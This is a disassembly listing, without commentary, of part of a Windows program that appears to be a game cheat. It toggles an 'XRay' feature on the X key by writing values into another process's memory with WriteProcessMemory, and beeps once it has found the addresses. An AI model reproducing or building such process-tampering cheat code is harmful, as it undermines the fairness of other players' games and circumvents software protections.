call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, str._addresses_at_adulf_20006415
call fcn.140006540
lea rdx, [0x140006710]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
sub rax, rcx
sar rax, 3
test rax, rax
jne 0x140004520
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x140004489
mov rax, qword [rsp + 0x70]
sub rax, rcx
sar rax, 3
lea rdx, [rax*8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004483
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400045a7
call fcn.140007a90
nop
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x1400044d0
mov rax, qword [rbp - 0x38]
sub rax, rcx
sar rax, 3
lea rdx, [rax*8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400044ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400046e3
call fcn.140007a90
nop
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x14000450e
mov rdx, qword [rbp - 0x18]
sub rdx, rcx
and rdx, 0xfffffffffffffff8
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004509
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400047c0
call fcn.140007a90
cmp byte [0x14000ea89], 0
je 0x140004201
jmp 0x1400047cc
mov rax, qword [rcx]
add rax, 0x18
mov qword [0x14000eaa0], rax
mov qword [0x14000ea90], rax
mov byte [0x14000ea89], 1
mov qword [rbp + 8], 1
lea rax, [rbp - 8]
cmp qword [rbp + 0x10], 0x10
cmovae rax, qword [rbp - 8]
mov word [rax], 1
mov edx, 0x1f4
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Beep]
nop
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x1400045c1
mov rax, qword [rsp + 0x70]
sub rax, rcx
sar rax, 3
lea rdx, [rax*8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400045ae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400045ae
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007a90
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r14
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x140004616
mov rax, qword [rbp - 0x38]
sub rax, rcx
sar rax, 3
lea rdx, [rax*8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004605
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004605
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007a90
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], r14
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x1400047cc
mov rdx, qword [rbp - 0x18]
sub rdx, rcx
and rdx, 0xfffffffffffffff8
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400047c7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400047c7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rax, qword [rcx]
add rax, 0x18
mov qword [0x14000eaa0], rax
mov qword [0x14000ea90], rax
mov byte [0x14000ea89], 1
mov qword [rbp + 8], 1
lea rax, [rbp - 8]
cmp qword [rbp + 0x10], 0x10
cmovae rax, qword [rbp - 8]
mov word [rax], 1
mov edx, 0x1f4
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Beep]
nop
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x1400046fb
mov rax, qword [rbp - 0x38]
sub rax, rcx
sar rax, 3
lea rdx, [rax*8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400046ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400046ea
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007a90
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], r14
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x1400047cc
mov rdx, qword [rbp - 0x18]
sub rdx, rcx
and rdx, 0xfffffffffffffff8
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400047c7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400047c7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rax, qword [rcx]
add rax, 0x18
mov qword [0x14000eaa0], rax
mov qword [0x14000ea90], rax
mov byte [0x14000ea89], 1
mov qword [rbp + 8], 1
lea rax, [rbp - 8]
cmp qword [rbp + 0x10], 0x10
cmovae rax, qword [rbp - 8]
mov word [rax], 1
mov edx, 0x1f4
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Beep]
nop
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x1400047cc
mov rdx, qword [rbp - 0x18]
sub rdx, rcx
and rdx, 0xfffffffffffffff8
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400047c7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400047c7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007a90
lea rdx, str.___Ready_to_work_n
mov rcx, qword [0x140009150]
call fcn.140006540
lea rdx, str.___XRay_bind:_0x58__X_
mov rcx, qword [0x140009150]
call fcn.140006540
mov ecx, 0x58
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov eax, dword [0x14000ea98]
cmp eax, 1
jne 0x14000485c
lea ecx, [rax + 0x57]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x140004853
mov dword [0x14000ea98], r14d
mov qword [rsp + 0x20], r14
mov r9d, 4
lea r8, [0x14000e048]
mov rdx, qword [0x14000ea90]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, 0x58
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
bt ax, 0xf
jb 0x140004841
lea r8, [0x14000e048]
jmp 0x1400048b9
test eax, eax
jne 0x1400047f2
lea ecx, [rax + 0x58]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x1400048b2
mov dword [0x14000ea98], 1
mov qword [rsp + 0x20], r14
mov r9d, 4
lea r8, [0x14000e044]
mov rdx, qword [0x14000ea90]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop dword [rax]
mov ecx, 0x58
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
bt ax, 0xf
jb 0x1400048a0
lea r8, [0x14000e044]
mov r9d, 4
mov qword [rsp + 0x20], r14
mov rdx, qword [0x14000ea90]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400047f2
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp - 0x78], r14d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3